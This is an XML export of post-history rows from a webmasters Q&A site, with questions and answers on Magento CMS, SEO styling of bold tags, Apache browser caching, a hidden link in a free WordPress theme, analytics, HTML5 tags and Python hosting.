  <row Id="44904" PostHistoryTypeId="5" PostId="18461" RevisionGUID="cdc191c9-6062-420e-9c35-be435aea0637" CreationDate="2011-08-19T16:16:15.590" UserId="6033" Comment="added 408 characters in body" Text="**It depends on your future plans**&#xD;&#xA;&#xD;&#xA;If you're going to upgrade to the Enterprise edition, then use the built-in CMS. One of the reasons to upgrade to enterprise is the enhanced CMS functionality (I haven't used it enough to give a thorough recommendation however) . If you use a different CMS software, it'll be an additional headache to move to the Magento Enterprise CMS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're not going to upgrade I'd look at other CMS software, because there's a lot out there that's better than the built-in community edition CMS. [Magento connect][1] offers a lot of additional plugins for community edition however, and you might find something in there that suits your needs and allows you to keep everything in magento. &#xD;&#xA;&#xD;&#xA;You should plan out your content strategy first then make a decision on what you really need.&#xD;&#xA;&#xD;&#xA;**Edit:** Also something to keep in mind, there's no guarantee of an improved CMS in magento community anytime soon, since the core developers of the product are focused on differentiating the enterprise edition from the community. In true CMS software, that's not the case, since you'll see improvements in the CMS software with every release since that's the core reason for the CMS software's existence. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/magento-connect" />
  <row Id="44905" PostHistoryTypeId="5" PostId="18461" RevisionGUID="53479304-6009-4ce1-8dfa-a8bdb3d6ec7e" CreationDate="2011-08-19T16:21:36.067" UserId="6033" Comment="added 11 characters in body" Text="**It depends on your future plans**&#xD;&#xA;&#xD;&#xA;If you're going to upgrade to the Enterprise edition, then consider using the built-in CMS. One of the reasons to upgrade to enterprise is the enhanced CMS functionality (I haven't used it enough to give a thorough recommendation however) . If you use a different CMS software, it'll be an additional headache to move to the Magento Enterprise CMS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're not going to upgrade I'd look at other CMS software, because there's a lot out there that's better than the built-in community edition CMS. [Magento connect][1] offers a lot of additional plugins for community edition however, and you might find something in there that suits your needs and allows you to keep everything in magento. &#xD;&#xA;&#xD;&#xA;You should plan out your content strategy first then make a decision on what you really need.&#xD;&#xA;&#xD;&#xA;**Edit:** Also something to keep in mind, there's no guarantee of an improved CMS in magento community anytime soon, since the core developers of the product are focused on differentiating the enterprise edition from the community. In true CMS software, that's not the case, since you'll see improvements in the CMS software with every release since that's the core reason for the CMS software's existence. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/magento-connect" />
  <row Id="44906" PostHistoryTypeId="2" PostId="18463" RevisionGUID="72b3508e-a100-4554-b7ad-a7fdf5039d0d" CreationDate="2011-08-19T16:22:40.750" UserId="5631" Text="I am highlighting key words on my web pages using the &lt;b&gt;word&lt;/b&gt; tag. I have set all &lt;b&gt; tags to font-weight: normal in my global stylesheet and was wondering if this would be considered a 'black hat' technique by search engines? My colleague seems to think so but i'm not too sure as it's just styling. Does anyone know or have an opinion?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="44907" PostHistoryTypeId="1" PostId="18463" RevisionGUID="72b3508e-a100-4554-b7ad-a7fdf5039d0d" CreationDate="2011-08-19T16:22:40.750" UserId="5631" Text="changing &lt;b&gt; tag style to font-weight normal" />
  <row Id="44908" PostHistoryTypeId="3" PostId="18463" RevisionGUID="72b3508e-a100-4554-b7ad-a7fdf5039d0d" CreationDate="2011-08-19T16:22:40.750" UserId="5631" Text="&lt;seo&gt;&lt;blackhat&gt;&lt;stylesheet&gt;" />
  <row Id="44909" PostHistoryTypeId="5" PostId="18463" RevisionGUID="3d3e1e59-26aa-489f-bc19-1dc4717b3310" CreationDate="2011-08-19T16:42:36.240" UserId="5631" Comment="deleted 8 characters in body" Text="I am highlighting key words on my web pages using the &amp;#60;b&amp;#62; tag. I have set all &lt;b&gt; tags to font-weight: normal in my global stylesheet and was wondering if this would be considered a 'black hat' technique by search engines? My colleague seems to think so but i'm not too sure as it's just styling. Does anyone know or have an opinion?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="44910" PostHistoryTypeId="2" PostId="18464" RevisionGUID="3155c6b1-464c-4164-bf98-19e29b1a3b84" CreationDate="2011-08-19T16:44:55.403" UserId="9694" Text="http://gtmetrix.com/reports/enji.se/RVzr15zT&#xD;&#xA;&#xD;&#xA;That's what my result looks like!&#xD;&#xA;&#xD;&#xA;Does anyone know how to fix Leverage browser caching and Specify a cache validator?&#xD;&#xA;&#xD;&#xA;I've googled it but didn't find anything :/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*I have Apache*&#xD;&#xA;&#xD;&#xA;Thanks in advance, enji" />
  <row Id="44911" PostHistoryTypeId="1" PostId="18464" RevisionGUID="3155c6b1-464c-4164-bf98-19e29b1a3b84" CreationDate="2011-08-19T16:44:55.403" UserId="9694" Text="Leverage browser caching and Specify a cache validator? PageSpeed" />
  <row Id="44912" PostHistoryTypeId="3" PostId="18464" RevisionGUID="3155c6b1-464c-4164-bf98-19e29b1a3b84" CreationDate="2011-08-19T16:44:55.403" UserId="9694" Text="&lt;cache&gt;&lt;page-speed&gt;" />
  <row Id="44913" PostHistoryTypeId="2" PostId="18465" RevisionGUID="e0cf016b-b6b2-4400-ba9f-aac6ccb2c565" CreationDate="2011-08-19T16:47:48.067" UserId="1253" Text="If you're using the `&lt;b&gt;` tag but making it look like normal text then this is black hat SEO. The only reason why someone would do this is to manipulate their search engine  rankings. That's a blatant violation of the search engines' terms of service." />
  <row Id="44914" PostHistoryTypeId="5" PostId="18463" RevisionGUID="bbe3f146-960d-4f09-bdeb-93263d1702d7" CreationDate="2011-08-19T16:48:28.503" UserId="1253" Comment="minor text edits" Text="I am highlighting key words on my web pages using the &amp;#60;b&amp;#62; tag. I have set all &lt;b&gt; tags to font-weight: normal in my global stylesheet and was wondering if this would be considered a 'black hat' technique by search engines? My colleague seems to think so but i'm not too sure as it's just styling. Does anyone know or have an opinion?&#xD;&#xA;" />
  <row Id="44915" PostHistoryTypeId="2" PostId="18466" RevisionGUID="6713a045-1ecf-4e93-bd68-b11083ac1151" CreationDate="2011-08-19T16:53:47.623" UserId="9695" Text="Is there a way to +1 something via a URL, just like you would with Twitter or Facebook?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;With Twitter you have:&#xD;&#xA;&#xD;&#xA;    http://twitter.com/home?status={url}&#xD;&#xA;&#xD;&#xA;With Facebook you have: &#xD;&#xA;&#xD;&#xA;    http://www.facebook.com/sharer.php?u={url}&amp;t={title}&#xD;&#xA;&#xD;&#xA;With Digg you have:&#xD;&#xA;&#xD;&#xA;    http://digg.com/submit?phase=2&amp;url={url}&amp;title={title}&#xD;&#xA;" />
  <row Id="44916" PostHistoryTypeId="1" PostId="18466" RevisionGUID="6713a045-1ecf-4e93-bd68-b11083ac1151" CreationDate="2011-08-19T16:53:47.623" UserId="9695" Text="Google +1 something via a URL" />
  <row Id="44917" PostHistoryTypeId="3" PostId="18466" RevisionGUID="6713a045-1ecf-4e93-bd68-b11083ac1151" CreationDate="2011-08-19T16:53:47.623" UserId="9695" Text="&lt;google&gt;" />
  <row Id="44918" PostHistoryTypeId="2" PostId="18467" RevisionGUID="08e026d7-b794-4439-94a1-e7896b96b320" CreationDate="2011-08-19T17:17:06.327" UserId="9696" Text="I recently downloaded a WP Theme and started building a page. However, if I scroll all the way down to the bottom of the page, I notice a hidden link for an adult toy store. I have searched all of the theme files with TextMate and there is no mention of that specific link in any of the files. The site can be viewed at credit-score-saver.com&#xD;&#xA;&#xD;&#xA;My guess is that someone edited the WP theme in an attempt to do some black hat link-building." />
  <row Id="44919" PostHistoryTypeId="1" PostId="18467" RevisionGUID="08e026d7-b794-4439-94a1-e7896b96b320" CreationDate="2011-08-19T17:17:06.327" UserId="9696" Text="How Can I Get Rid of This Hidden Link?" />
  <row Id="44920" PostHistoryTypeId="3" PostId="18467" RevisionGUID="08e026d7-b794-4439-94a1-e7896b96b320" CreationDate="2011-08-19T17:17:06.327" UserId="9696" Text="&lt;links&gt;" />
  <row Id="44921" PostHistoryTypeId="2" PostId="18468" RevisionGUID="6efbe741-0922-401c-9b6f-40c2d48c33bf" CreationDate="2011-08-19T17:24:07.673" UserId="4502" Text="That theme is from some collection posted on a Blogspot site. Read this:  &#xD;&#xA;&lt;a href=&quot;http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/&quot;&gt;Why You Should Never Search For Free WordPress Themes in Google or Anywhere Else&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;There's a pretty good chance nobody edited anything, and the link was there in the first place. If, for whatever reason, you're set on continuing to use that particular theme, the Authenticity Checker and Exploit Scanner tools linked early on in the article might find the code responsible for the link." />
  <row Id="44922" PostHistoryTypeId="5" PostId="18464" RevisionGUID="550abde2-ede6-4fd3-821f-1160aaaece1d" CreationDate="2011-08-19T17:43:22.213" UserId="1253" Comment="deleted 51 characters in body; edited title" Text="http://gtmetrix.com/reports/enji.se/RVzr15zT&#xD;&#xA;&#xD;&#xA;That's what my result looks like!&#xD;&#xA;&#xD;&#xA;Does anyone know how to fix Leverage browser caching and Specify a cache validator?&#xD;&#xA;&#xD;&#xA;I've googled it but didn't find anything. I have Apache." />
  <row Id="44923" PostHistoryTypeId="4" PostId="18464" RevisionGUID="550abde2-ede6-4fd3-821f-1160aaaece1d" CreationDate="2011-08-19T17:43:22.213" UserId="1253" Comment="deleted 51 characters in body; edited title" Text="Leverage browser caching and Specify a cache validator? " />
  <row Id="44924" PostHistoryTypeId="14" PostId="18424" RevisionGUID="54d95e8d-5c8f-489d-982d-55da590cbb9d" CreationDate="2011-08-19T17:47:06.173" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44925" PostHistoryTypeId="17" PostId="18424" RevisionGUID="c0a5e4fe-76e4-4c8e-a6b4-c013369cd5a1" CreationDate="2011-08-19T17:47:06.173" UserId="1253" Comment="to http://serverfault.com/questions/303122/nginx-as-a-reverse-proxy-and-static-dynamic-content-server-at-the-same-time" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44926" PostHistoryTypeId="10" PostId="18424" RevisionGUID="11d07e33-94d1-441b-a771-8e35eb48b8b6" CreationDate="2011-08-19T17:47:06.143" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44927" PostHistoryTypeId="14" PostId="18430" RevisionGUID="54ddbeaf-220a-4844-907e-e07bd3ddb7ba" CreationDate="2011-08-19T17:47:13.023" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44928" PostHistoryTypeId="17" PostId="18430" RevisionGUID="9f618362-04a2-4b0f-83e7-86d18ebdb1b8" CreationDate="2011-08-19T17:47:13.037" UserId="1064" Comment="to http://serverfault.com/questions/303124/why-isnt-http-authentication-working-on-this-apache-https-site" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="44929" PostHistoryTypeId="10" PostId="18430" RevisionGUID="bcabdfe5-0ecd-4568-9f09-ef2cc67ea68c" CreationDate="2011-08-19T17:47:12.990" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="44930" PostHistoryTypeId="2" PostId="18469" RevisionGUID="6eaeda35-737a-44dd-8e77-45a479fc1ca4" CreationDate="2011-08-19T18:20:35.413" UserId="1064" Text="From the [Google Page Speed Documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; Setting an expiry date or a maximum age in the HTTP headers for static&#xD;&#xA;&gt; resources instructs the browser to load previously downloaded&#xD;&#xA;&gt; resources from local disk rather than over the network.&#xD;&#xA;&#xD;&#xA;The [Apache Caching Guide][2] should explain how to configure Apache accordingly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/docs/caching.html#LeverageBrowserCaching&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.2/caching.html" />
  <row Id="44931" PostHistoryTypeId="2" PostId="18470" RevisionGUID="023c6bfb-13f2-4166-9afa-96ed7afd8c77" CreationDate="2011-08-19T18:24:32.613" UserId="9698" Text="My sales cycle is measured in weeks.  A typical user behavior pattern looks like this:&#xD;&#xA;&#xD;&#xA; 1. Finds the site via organic, cpc, or referral&#xD;&#xA; 2. Browses the content for awhile.&#xD;&#xA; 3. Returns a few days later, browses the content for awhile&#xD;&#xA; 4. Returns a few days later, browses the content for awhile&#xD;&#xA; 5. Converts.&#xD;&#xA;&#xD;&#xA;Google Analytics shows all my conversions as &quot;direct traffic&quot;, i.e. because the converting visit starts from a bookmark or a URL type-in.&#xD;&#xA;&#xD;&#xA;What software or service can I use to tell me which traffic source in step 1 that users ultimately convert with best in step 5?&#xD;&#xA;&#xD;&#xA;What software or service can I use to tell me which content in steps 2-4 (i.e. on prior visits) has the biggest impact on version rate in step 5?" />
  <row Id="44932" PostHistoryTypeId="1" PostId="18470" RevisionGUID="023c6bfb-13f2-4166-9afa-96ed7afd8c77" CreationDate="2011-08-19T18:24:32.613" UserId="9698" Text="How do I track a goal path over multiple visits?" />
  <row Id="44933" PostHistoryTypeId="3" PostId="18470" RevisionGUID="023c6bfb-13f2-4166-9afa-96ed7afd8c77" CreationDate="2011-08-19T18:24:32.613" UserId="9698" Text="&lt;google-analytics&gt;&lt;analytics&gt;&lt;website-analytics-tools&gt;" />
  <row Id="44934" PostHistoryTypeId="4" PostId="17518" RevisionGUID="10fa72fd-60ed-42f6-81a8-8698bd10a982" CreationDate="2011-08-19T18:34:02.017" UserId="1064" Comment="&quot;robotx.txt&quot; to &quot;robots.txt&quot;" Text="How to de-index pages from google using robots.txt" />
  <row Id="44935" PostHistoryTypeId="25" PostId="18467" RevisionGUID="1aedb98c-d42c-4648-87cf-27d3819b311d" CreationDate="2011-08-19T18:34:57.183" Comment="http://twitter.com/#!/StackWebmasters/status/104622394026635264" />
  <row Id="44936" PostHistoryTypeId="2" PostId="18471" RevisionGUID="7e1e3628-7fa8-4b30-97ed-03c22f9fe2ea" CreationDate="2011-08-19T18:52:42.887" UserId="1064" Text="A few possibilities which may affect how Google Analytics reports bounce rate for your site:&#xD;&#xA;&#xD;&#xA; - You stated that bounce rate &quot;in general&quot; has fluctuated - if you recently changed your site and have encouraged visitors to look at the new template (as you did with this post) you are inviting referrer and direct traffic bounces - try filtering for search referral bounces (if search referrals are your primary concern)&#xD;&#xA; - The `saturn.relmax.net` and `easyjob.net` domains are hosted in different locations - if your site was moved from Texas hosting to New York hosting, the change in proximity could affect page load times (depending upon where most of your visitors come from)&#xD;&#xA; - Your new template appears to load about 20% faster than the old template - this means that you *may* be catching more of the bounces which Google Analytics would not have caught in the past (Google Analytics only tracks users who stick around long enough to download the Google Analytics script and ping their monitoring servers)&#xD;&#xA;&#xD;&#xA;The most authoritative information you will get on *actual* bounce rate (versus the bounce rate Google Analytics measures, which is more a measure of how long visitors stuck around after the tracking snippet phoned home) will be from your web server's logs - consider running a log analyzer on your web server's logs to determine whether the bounce rate you're noticing in Google Analytics is an actual trend or a side effect of the tracking script's operation." />
  <row Id="44937" PostHistoryTypeId="2" PostId="18472" RevisionGUID="47d23c18-3d7f-41c5-a7be-f339ddbb4c5e" CreationDate="2011-08-19T19:02:17.670" UserId="5117" Text="I've a question for you.&#xD;&#xA;&#xD;&#xA;Are now the new HTML5 tags, like &#xD;&#xA; &#xD;&#xA;    &lt;header&gt;,&lt;footer&gt;,&lt;hgroup&gt;,&lt;nav&gt;,...&#xD;&#xA;&#xD;&#xA;... really usefoul for SEO? &#xD;&#xA;&#xD;&#xA;Is google and other search engines considering this tags in the SERP?&#xD;&#xA;" />
  <row Id="44938" PostHistoryTypeId="1" PostId="18472" RevisionGUID="47d23c18-3d7f-41c5-a7be-f339ddbb4c5e" CreationDate="2011-08-19T19:02:17.670" UserId="5117" Text="html5 tags for SEO" />
  <row Id="44939" PostHistoryTypeId="3" PostId="18472" RevisionGUID="47d23c18-3d7f-41c5-a7be-f339ddbb4c5e" CreationDate="2011-08-19T19:02:17.670" UserId="5117" Text="&lt;seo&gt;&lt;html5&gt;&lt;serps&gt;" />
  <row Id="44940" PostHistoryTypeId="2" PostId="18473" RevisionGUID="329b0af8-ab9e-4e24-b25d-0fb777d41f16" CreationDate="2011-08-19T19:04:00.630" UserId="3512" Text="I've been googling around for a cheap CDN service and came across: http://code.google.com/speed/pss/index.html&#xD;&#xA;&#xD;&#xA;This seems to be a competitor to other CDN services, is this the case?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="44941" PostHistoryTypeId="1" PostId="18473" RevisionGUID="329b0af8-ab9e-4e24-b25d-0fb777d41f16" CreationDate="2011-08-19T19:04:00.630" UserId="3512" Text="Is Google Page Speed Service a competitor for CDN services" />
  <row Id="44942" PostHistoryTypeId="3" PostId="18473" RevisionGUID="329b0af8-ab9e-4e24-b25d-0fb777d41f16" CreationDate="2011-08-19T19:04:00.630" UserId="3512" Text="&lt;cdn&gt;" />
  <row Id="44943" PostHistoryTypeId="2" PostId="18474" RevisionGUID="7bcbf71b-01d7-4603-a7f1-b8d1c597e94b" CreationDate="2011-08-19T19:20:37.063" UserId="7055" Text="Is the default magento sitemap.xml optimized as is for ecommerce products?  I'm thinking about adding image links as well.  Is it worth time investing in this for SEO gains?&#xD;&#xA;&#xD;&#xA;    &lt;url&gt;&#xD;&#xA;       &lt;loc&gt;&#xD;&#xA;          http://demo.com/product.html&#xD;&#xA;       &lt;/loc&gt;&#xD;&#xA;           &lt;lastmod&gt;2011-08-03&lt;/lastmod&gt;&#xD;&#xA;           &lt;changefreq&gt;always&lt;/changefreq&gt;&#xD;&#xA;           &lt;priority&gt;1.0&lt;/priority&gt;&#xD;&#xA;    &lt;/url&gt;&#xD;&#xA; " />
  <row Id="44944" PostHistoryTypeId="1" PostId="18474" RevisionGUID="7bcbf71b-01d7-4603-a7f1-b8d1c597e94b" CreationDate="2011-08-19T19:20:37.063" UserId="7055" Text="Magento Default Sitemap.xml" />
  <row Id="44945" PostHistoryTypeId="3" PostId="18474" RevisionGUID="7bcbf71b-01d7-4603-a7f1-b8d1c597e94b" CreationDate="2011-08-19T19:20:37.063" UserId="7055" Text="&lt;seo&gt;&lt;sitemap&gt;&lt;magento&gt;" />
  <row Id="44946" PostHistoryTypeId="2" PostId="18475" RevisionGUID="9018e0c5-8ce6-4077-8285-84e71dae1b32" CreationDate="2011-08-19T20:11:48.850" UserId="9286" Text="I have just finished the development of my application. Now I would like to publicize that (I have no money!). What are techniques most commonly used to do that on the web? And the most efficient?" />
  <row Id="44947" PostHistoryTypeId="1" PostId="18475" RevisionGUID="9018e0c5-8ce6-4077-8285-84e71dae1b32" CreationDate="2011-08-19T20:11:48.850" UserId="9286" Text="How effectively to publicize my web application?" />
  <row Id="44948" PostHistoryTypeId="3" PostId="18475" RevisionGUID="9018e0c5-8ce6-4077-8285-84e71dae1b32" CreationDate="2011-08-19T20:11:48.850" UserId="9286" Text="&lt;websites&gt;&lt;advertising&gt;&lt;web&gt;&lt;web-applications&gt;&lt;publishing&gt;" />
  <row Id="44949" PostHistoryTypeId="2" PostId="18476" RevisionGUID="b1ea5915-5b58-49ae-88f8-758a40cdbf39" CreationDate="2011-08-19T20:21:53.723" UserId="9699" Text="I want to compare today's traffic for my company website with today's macro web traffic. Anyone know of a site which does this?&#xD;&#xA;&#xD;&#xA;Mostly, I want to see trends and reassure myself that my 33% drop in organic traffic today is in line with, say, a 31% percent drop in macro search traffic (and potentially rationalized as less demand because of a long weekend or some other macro distraction).&#xD;&#xA;&#xD;&#xA;I've found a couple sites that are close, wondering if any of you have better ones:  &#xD;&#xA;* [Akamai Real-time Web Monitor](http://www.akamai.com/html/technology/datavix1.html)  &#xD;&#xA;* [Akamai Net Usage Index: Retail](http://www.akamai.com/html/technology/nui/retail/charts.html)&#xD;&#xA;&#xD;&#xA;Even better, I would love to find a site that tracks the current volume of web searches.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44950" PostHistoryTypeId="1" PostId="18476" RevisionGUID="b1ea5915-5b58-49ae-88f8-758a40cdbf39" CreationDate="2011-08-19T20:21:53.723" UserId="9699" Text="Can someone suggest a site which shows today's macro web traffic" />
  <row Id="44951" PostHistoryTypeId="3" PostId="18476" RevisionGUID="b1ea5915-5b58-49ae-88f8-758a40cdbf39" CreationDate="2011-08-19T20:21:53.723" UserId="9699" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;analytics&gt;" />
  <row Id="44952" PostHistoryTypeId="17" PostId="18477" RevisionGUID="80715ea9-5f08-4611-8cf0-aa21cef2c5e7" CreationDate="2011-08-19T20:49:54.090" UserId="-1" Comment="from http://serverfault.com/questions/216362/platform-to-allow-users-to-suggest-and-vote-for-ideas" Text="" />
  <row Id="44953" PostHistoryTypeId="2" PostId="18477" RevisionGUID="1de15c0c-80b4-482e-8043-53568e334308" CreationDate="2010-12-27T10:34:16.903" UserId="7232" Text="I head up a support team for a software product.&#xD;&#xA;&#xD;&#xA;I am in the process of setting up a blog (Wordpress.org), a forum (PHPBB or maybe Vanilla), a means to view bugs (probably expose Jira), but would also like to allow our customers to suggest enhancement requests.&#xD;&#xA;&#xD;&#xA;Currently we have this as a 'contact form' via the blog, which feeds into a dedicated inbox, which the product manager reviews and may include some of these ideas into the product.&#xD;&#xA;&#xD;&#xA;However, I would like to give the clients more power/visibility over this.&#xD;&#xA;&#xD;&#xA;Have a look at [ideas.arcgis.com][1].  There are plenty of other similar sites as well.&#xD;&#xA;&#xD;&#xA; - Users can suggest new ideas&#xD;&#xA; - Other users can vote these ideas up or down (similar to Stack Exchange sites)&#xD;&#xA; - Ideas that are voted highly will be given a higher priority over lower ones.&#xD;&#xA; - We can report back on the # of ideas we implement, and potentially reject ideas with reasoning.&#xD;&#xA;&#xD;&#xA;**Has anyone seen any platforms (ideally free) which would replicate something similar to this?**&#xD;&#xA;&#xD;&#xA;I was half thinking of embedding [Vanilla][2] within a wordpress page, but need to look into it more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ideas.arcgis.com&#xD;&#xA;  [2]: http://vanillaforums.org/discussions" />
  <row Id="44954" PostHistoryTypeId="1" PostId="18477" RevisionGUID="1de15c0c-80b4-482e-8043-53568e334308" CreationDate="2010-12-27T10:34:16.903" UserId="7232" Text="Platform to allow users to suggest and vote for ideas" />
  <row Id="44955" PostHistoryTypeId="3" PostId="18477" RevisionGUID="1de15c0c-80b4-482e-8043-53568e334308" CreationDate="2010-12-27T10:34:16.903" UserId="7232" Text="&lt;websites&gt;" />
  <row Id="44956" PostHistoryTypeId="5" PostId="18475" RevisionGUID="5fdea802-77e1-4340-a050-20a89f6d701a" CreationDate="2011-08-19T20:52:53.247" UserId="9286" Comment="added 8 characters in body; edited title" Text="I have just finished the development of my application. Now I would like to promote\publicize that (I have no money!). What are techniques most commonly used to do that on the web? And the most efficient?" />
  <row Id="44957" PostHistoryTypeId="4" PostId="18475" RevisionGUID="5fdea802-77e1-4340-a050-20a89f6d701a" CreationDate="2011-08-19T20:52:53.247" UserId="9286" Comment="added 8 characters in body; edited title" Text="How effectively to promote\publicize my web application?" />
  <row Id="44958" PostHistoryTypeId="17" PostId="18478" RevisionGUID="bf1b3cd0-fe77-4988-bf93-50fc8ea0f635" CreationDate="2011-08-19T20:54:34.847" UserId="-1" Comment="from http://serverfault.com/questions/214944/web-page-layout-becomes-broken-when-moved-to-live" Text="" />
  <row Id="44959" PostHistoryTypeId="2" PostId="18478" RevisionGUID="e92a7168-c148-4a8a-8903-d7998035a6f6" CreationDate="2010-12-21T18:38:51.243" UserId="4043" Text="*I want to preface my question with the fact that I'm only a front-end web developer, so please excuse my gross lack of knowledge in this area.*&#xD;&#xA;&#xD;&#xA;My company has three webservers: one for development (IIS v6), one for staging (IIS v6), and one for live deployment (IIS v5). Staging is an exact mirror of live.&#xD;&#xA;&#xD;&#xA;When I compare the staging and live web pages side by side in Firefox (3.6), the pages are identical. However, when I compare the staging and live pages with Internet Explorer (8), there are major differences...&#xD;&#xA;&#xD;&#xA; - In staging, the squares for bulleted lists are small. In live, the squares are big.&#xD;&#xA;   &#xD;&#xA; - In staging, the borders for tables are thick. In live, the borders are thin.&#xD;&#xA;   &#xD;&#xA; - In staging, an ASP generated image is the proper height. In live, the image is cropped at the bottom by about 10px.&#xD;&#xA;&#xD;&#xA;In the end, the layout on live became broken because of these tiny differences, but why?&#xD;&#xA;&#xD;&#xA;Does the fact that live is on the older IIS 5 and staging is on the newer IIS 6 account for the small variance in display? And is there any way I can change this server side?&#xD;&#xA;&#xD;&#xA;Also, is there any reason why Firefox displays both correctly and IE displays both incorrectly?" />
  <row Id="44960" PostHistoryTypeId="1" PostId="18478" RevisionGUID="e92a7168-c148-4a8a-8903-d7998035a6f6" CreationDate="2010-12-21T18:38:51.243" UserId="4043" Text="Web page layout becomes broken when moved to live" />
  <row Id="44961" PostHistoryTypeId="3" PostId="18478" RevisionGUID="e92a7168-c148-4a8a-8903-d7998035a6f6" CreationDate="2010-12-21T18:38:51.243" UserId="4043" Text="&lt;iis&gt;&lt;webserver&gt;" />
  <row Id="44962" PostHistoryTypeId="25" PostId="18472" RevisionGUID="c884bc5e-81e6-45f1-9b79-f6a591d19e2f" CreationDate="2011-08-19T21:34:57.627" Comment="http://twitter.com/#!/StackWebmasters/status/104667693931692032" />
  <row Id="44963" PostHistoryTypeId="2" PostId="18479" RevisionGUID="474099d8-1ff4-4537-b968-c661c6f7ae1c" CreationDate="2011-08-19T22:09:48.513" UserId="4043" Text="To answer my own question, the problem was with how Internet Explorer handles compatibility mode on intranet sites.&#xD;&#xA;&#xD;&#xA;Even though my web.config and my HTML code specified to always set IE=Edge (most recent rendering engine), the Internet Explorer browser itself has ultimate control over the rendering, and its default is to have intranet sites rendered in compatibility mode.&#xD;&#xA;&#xD;&#xA;By tweaking my IE view options, I was able to reverse this rule and thus make the rendering consistent between Dev/Staging servers and Live." />
  <row Id="44964" PostHistoryTypeId="2" PostId="18480" RevisionGUID="6cca3469-c901-4497-8363-fe199634002b" CreationDate="2011-08-19T22:15:01.880" UserId="2839" Text="I'm looking for Python hosting in EU. I need WSGI support (nginx+uwsgi, apache+mod_wsgi or similar). What are the options, excluding VPS/dedicated server?" />
  <row Id="44965" PostHistoryTypeId="1" PostId="18480" RevisionGUID="6cca3469-c901-4497-8363-fe199634002b" CreationDate="2011-08-19T22:15:01.880" UserId="2839" Text="EU Python hosting" />
  <row Id="44966" PostHistoryTypeId="3" PostId="18480" RevisionGUID="6cca3469-c901-4497-8363-fe199634002b" CreationDate="2011-08-19T22:15:01.880" UserId="2839" Text="&lt;web-hosting&gt;&lt;python&gt;" />
  <row Id="44967" PostHistoryTypeId="2" PostId="18481" RevisionGUID="d32cef3c-6818-4bff-8439-07039a168af7" CreationDate="2011-08-19T22:23:18.173" UserId="693" Text="I am using an html crown in my website, character code is `&amp;#9819;`, but this looks different in the browsers.&#xD;&#xA;&#xD;&#xA;    Firefox           -&gt; different&#xD;&#xA;    Chrome            -&gt; different&#xD;&#xA;    IE, Safari, Opera -&gt; same&#xD;&#xA;&#xD;&#xA;I have tried to explicit add a font-family to the span, but this does not help.&#xD;&#xA;&#xD;&#xA;Anyone have an idea how I can get this the same in the browsers. &#xD;&#xA;&#xD;&#xA;Check this post in differnt browsers and see how the char changes. **&amp;#9819;**&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44968" PostHistoryTypeId="1" PostId="18481" RevisionGUID="d32cef3c-6818-4bff-8439-07039a168af7" CreationDate="2011-08-19T22:23:18.173" UserId="693" Text="HTML special characters looking not the same in different browsers" />
  <row Id="44969" PostHistoryTypeId="3" PostId="18481" RevisionGUID="d32cef3c-6818-4bff-8439-07039a168af7" CreationDate="2011-08-19T22:23:18.173" UserId="693" Text="&lt;html&gt;&lt;cross-browser&gt;" />
  <row Id="44970" PostHistoryTypeId="2" PostId="18482" RevisionGUID="3e885f09-0497-4cb5-afad-a6f2309e5dc1" CreationDate="2011-08-19T22:23:53.553" UserId="4043" Text="Anything that helps a search engine better understand the content and makeup of a web page is ostensibly better for SEO. The information a spider is able to discern about the structure of your page directly increases the accuracy of the spider's effective grading of your page. This is not to say that it will necessarily give you a better ranking, only to say that the spider will more accurately rank your page based on its content (which typically results in a positive gain).&#xD;&#xA;&#xD;&#xA;This is why table based layouts are so bad for SEO... it is nearly impossible for a spider to distinguish between body copy, headers, sidebars, etc. Therefore it is significantly more difficult for the bot to determine contextual relevancy of any one keyword/phrase against another. This makes the end weight of the page far lighter than what it would have been otherwise, had the bot been able to understand the correlation between the content on a page." />
  <row Id="44971" PostHistoryTypeId="2" PostId="18483" RevisionGUID="5e9466f7-f18e-4e08-9f79-5e6c2c5b0a13" CreationDate="2011-08-19T22:51:28.733" UserId="4502" Text="&lt;a href=&quot;http://www.webfaction.com/services/hosting&quot;&gt;WebFaction&lt;/a&gt; offer Python–several versions of mod_wsgi–and you can choose in Amsterdam. They run Apache normally, but you can &lt;a href=&quot;http://www.ravelrumba.com/blog/install-nginx-webfaction/&quot;&gt;set up nginx yourself&lt;/a&gt; if you really want it. It's shared hosting, but you have near-VPS access to do such things; it comes in handy." />
